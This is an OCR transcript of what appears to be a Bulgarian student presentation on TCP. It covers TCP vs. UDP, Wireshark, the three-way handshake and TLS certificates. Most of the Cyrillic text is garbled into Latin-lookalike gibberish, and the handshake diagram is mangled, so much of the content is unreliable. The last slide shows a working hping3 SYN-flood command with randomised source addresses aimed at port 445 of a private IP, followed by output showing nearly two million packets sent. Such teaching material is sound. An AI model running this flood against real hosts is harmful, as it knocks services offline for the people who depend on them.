TCP

N3roTBeH oT ekun 1:
AneKkcaHabp, AHacTtacua, UeaH, lNeTbp, leTA



KaksBo e TCP?

* TCP (Transmission Control Protocol) ocurypasa HagexxaeH TpaHcdep

Ha AaHHU MexXay KANeEHT U CbpPBbBP.
How does TCP/IP work?
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Kak pabotun TCP?

* Pa3ppobsaBaHe Ha AaHHU
* MoTBbPHKAEHME (ACK)

* [lOoBTOpPHO NpeaaBaHe

* KOHTPO/1 Ha MOTOKaA
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TCP vs. UDP

HagexpgHocTt

HapemaeH — rapaHTMpa [AOoCTaBKa Ypes NOBTOPHO
W3npalaHe Ha U3ryGeHKn NaxkeTu.

HeHapgemaeH — HAMa NOBTOPHO M3Npallade, 3arybeHuTe nakeTu
Ce UrHOopWpaT.

Cebp3aHocTt

Cebp3ax (Connection-Oriented) — U3McKBa
YCTaHOBABAHE W 3aTBapAHe Ha Bpb3ka (Handshake).

Bezcebp3ad (Connectionless) — nakeTUTe Cce M3NpaLLaT AUMPEKTHO,
Hes3 npepeapuTENHa BPb3Ka.

HOHTFICIH Ha NoOTOoHKa

Ila — TCP perynuvpa ckopocTTa Ha NnpegaeaHe crnpamo
KanauwTeTa Ha noay4aTens.

He — UDP mM3anpawa nakeTv He3 MmexaHW3bM 332 KOHTPOA Ha
CKOpOCTTa.

NMopepeH peg

lapaHTupaH — TCP rapaHTWpa, 4e NakeTuTe We bbaaTt
crnofeHu B NpaBUIHKMA pes.

He e rapaHTWpaH — NakeTuTe MOoraT Aa NpucTUrHaT B pasbbpkaH
pen.

Peakuusa npu 3aryba Ha nakeTu

TCP u3uckea noTebpkaeHue (ACK) u nosTapAa
W3rybeHuUTe NakeTu.

UDP He M3UCKBa NOTEbPHAEHME M HE M3Npalla NOBTOPHO
narybeHu nakeTu.

HETGBEPBEHE Ha MmpexaTa

[Mo-BUCOKO — nopagi KOHTpOAa Ha NOTOKa |
NOTERPHAOEHWATA.

Mo-HUCKO — MMHUManeH overhead, Thid KaTo HAMA NOTELPHAEHUA
M KOHTPOA.

CropocT

MNo-H6aBeH — 3apaau rapaHUMKUTE 338 HAAEMOHOCT.

Mo-6bp3 — 3a8OTO HAMAE NOTEBPHAEHWMA M NOBTOPHO U3NPallaHE.

HMznonzeaHK MNMPOTOKOMNK

HTTP, HTTPS, FTP, SMTP, SSH, POP3, IMAP

DNS, DHCP, VoIP, cTPMAMWHT, OHAGWH MIpU




KakBo e Wireshark?

* Wireshark e MHCTpyMeHT 3a NnpuxBallaHe U aHa/IN3 Ha MPEeXKoB TpaduK.
* No3BO/IABA HM Aa cneanm U pa3bnpame KOMYHMKaALMATA MeX Ay YCTPOMCTBA.

* /I3non3Ba ce 3a AMAarHoOCTMKa Ha Npobaemu, pascneaBaHe Ha aTakM U aHaAM3 Ha
NMPOTOKO/N.

Open-scurce software Captures packets Reveals packet contents

Reguest in
Time:
Flags:

Queries



TCP handshake u TpucrpaHeH handshake

Client Server
Sends ‘SYN’ SYN
eq=m
i ) Receives'SYN’
(seq =m)
Sends‘SYN’
gy + A (seq=n)
Receives'SYN’ Sends ‘ACK’
(seq =n) (ack = m+1)
Receives’ACK’
(ack = m+1)
Sends ‘ACK’ ACK
(ack= n+1) \_9 ReceivesACK’
(ack = n+1)

3-Way Handshaking(for establishing connection)




Ceptudukati npm KpuntupaHe

© 0

> Let's set up a secure TLS session £
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This is my certificate €
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Here is a one-time encryption key for our session
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User
Server
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Server decrypts session key using its private
key and establishes a secure session



ATtaka SYN flood

$ sudo hping3 -c 15000 -d 120 -S -w 64 -p 445 --flood --rand-source --interval u500 192.168.254.87
HPING 192.168.254.87 (wlp0s20f3 192.168.254.87): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
NG
--- 192.168.254.87 hping statistic ---

1869962 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

$







